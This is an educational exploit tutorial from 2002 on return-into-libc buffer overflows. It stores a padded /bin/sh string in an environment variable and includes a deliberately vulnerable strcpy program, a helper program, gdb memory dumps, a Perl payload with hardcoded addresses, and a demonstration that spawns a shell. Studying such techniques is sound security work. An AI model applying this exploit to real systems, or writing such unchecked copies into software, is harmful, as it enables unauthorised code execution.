Using Environment for returning into Lib C

Elie aka Lupin Bursztein
(elie@bursztein.net)

Feb 26, 2002

Contents

1  introduction
2  A vulnerable program
3  Using the environment
    3.1  NOP like
    3.2  Program
    3.3  Demonstration
4  Writing the exploit
    4.1  Gathering data
    4.2  Exploit Code
    4.3  Exploitation
5  conclusion

1  introduction

The scope of this article is to explain how to use the environment variables to successfully exploit a buffer overflow with a return into lib C. This approach has many advantages in particular :

2  A vulnerable program

Here is a simple program designed to demonstrate this method 
int foo(char *string)
{
  char vuln[25];

  strcpy(vuln, string);
  return 42;
}

int main(int ac, char **av)
{
  foo(av[1]);
  return 42;
}
As you can see there is no place to put the system() argument in this program. The environment will consequently be used to store it.

3  Using the environment

In order to put the argument for the return into lib C in the environment one needs some 'room' because the environment variables are not exactly at the same place when you run a program. A \x90-like is needed for the return into lib C.

3.1  NOP like

For the system() function the string ``/bin/sh'' is the same than '              /bin/sh'. In the return into lib C the ' ' char which is \x20 will act has NOP for the shellcode. It will multiply the chances of success.

3.2  Program

It is easy to write a simple program to put the command directly into the environment and to spawn a shell. Here is one 
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int ac, char **av)
{
  char command[500];
  int len;
  int i;

  memset (command, '\0', 500);
  len = strlen(av[1]);
  //filling with " " which is the equivalent for the return of the \x90 of shellcode
  for (i = 0; i <= 500 - len; i++)
    command[i] = ' ';
  //filling with the command equivalent to the shellcode :)
  strcat(command, av[1]);
  setenv("RCL", command, 1);
  system("/bin/bash");
  return 42;
}

3.3  Demonstration

The /bin/sh command is put into the environment. 
[lupin@saphyr return-into-libc]$ ./env /bin/sh
[lupin@saphyr return-into-libc]$ export
declare -x BROWSER="kfmclient openProfile webbrowsing"
declare -x COLORTERM=""
declare -x DISPLAY=":0"
declare -x GTK_RC_FILES="/etc/gtk/gtkrc:/home/lupin/.gtkrc"

<-snipe->

declare -x RCL="


                           /bin/sh"
declare -x SECURE_LEVEL="0"

<- snipe ->

[lupin@saphyr return-into-libc]$
One can see the command passed to the program (/bin/sh) is in the environment with a lot of spaces.

4  Writing the exploit

4.1  Gathering data

Three informations are required to exploit successfully the vulnerable program:

  1. Number of chars before overwriting the return address.

  2. Address of the system() function.

  3. Address of the environment variable.
The only part of gathering data explained here is how to get the environment variable address. The rest is old news. As explained previously the variable has been filled with a lot of \x20. Let's run the program and inspect the memory with gdb (put a break point to main in order to stop at the beginning of the program). The result is 
Breakpoint 1, 0x08048496 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40073440 <system>
(gdb) x/20x $esp
0xbffff5d0:     0x08049538      0x08049640      0xbffff618      0x400405b0
0xbffff5e0:     0x00000001      0xbffff644      0xbffff64c      0x080482fa
0xbffff5f0:     0x08048500      0x00000000      0xbffff618      0x4004059a
0xbffff600:     0x00000000      0xbffff64c      0x4015b9e0      0x40015638
0xbffff610:     0x00000001      0x08048360      0x00000000      0x08048381

<- snipe ->

(gdb)
0xbffff800:     0x72756540      0x4f48006f      0x414e5453      0x733d454d
0xbffff810:     0x79687061      0x43520072      0x20203d4c      0x20202020
0xbffff820:     0x20202020      0x20202020      0x20202020      0x20202020
0xbffff830:     0x20202020      0x20202020      0x20202020      0x20202020
0xbffff840:     0x20202020      0x20202020      0x20202020      0x20202020
...
Let's pick an address in the middle of the \x20.

4.2  Exploit Code

The last thing to do is to write the exploit and test it. I wrote it in perl 
#making the overflow
$over = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
#giving the system() adress to make the return into libc
# 0x40073440 -> 40 34 07 40
$retaddr = "\x40\x34\x07\x40";
#giving a dummy return adress to our function
$dummy = "FAKE";
#giving the adress of our env variable has arg
#0xbffff870
$arg1 = "\x70\xf8\xff\xbf";
#Smash it !!!
print $over;
#print "BBBB";
print $retaddr;
print $dummy;
print $arg1;

4.3  Exploitation

The exploit result is 
[lupin@saphyr return-into-libc]$ ./vul `perl exploit.pl`
sh-2.05$ ps afx
  PID TTY      STAT   TIME COMMAND
    9 ?        SW     0:00 [kupdated]
    8 ?        SW     0:00 [bdflush]
    7 ?        SW     0:00 [kreclaimd]
    6 ?        SW     0:00 [kswapd]
<- snipe ->
2206 pts/1    S      0:00  |   \_ /bin/bash
 2415 pts/1    S      0:00  |       \_ ./env /bin/sh
 2416 pts/1    S      0:00  |           \_ /bin/bash
 2527 pts/1    S      0:00  |               \_ ./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@4?@FAKEpøÿ¿
 2528 pts/1    S      0:00  |                   \_ /bin/sh
 2530 pts/1    R      0:00  |                       \_ ps afx

Et voila :).

5  conclusion

The use of environment variables in the return into lib C technique will make it more easy to do. With this flexibility it's possible to write a new range of exploits using the return into lib C.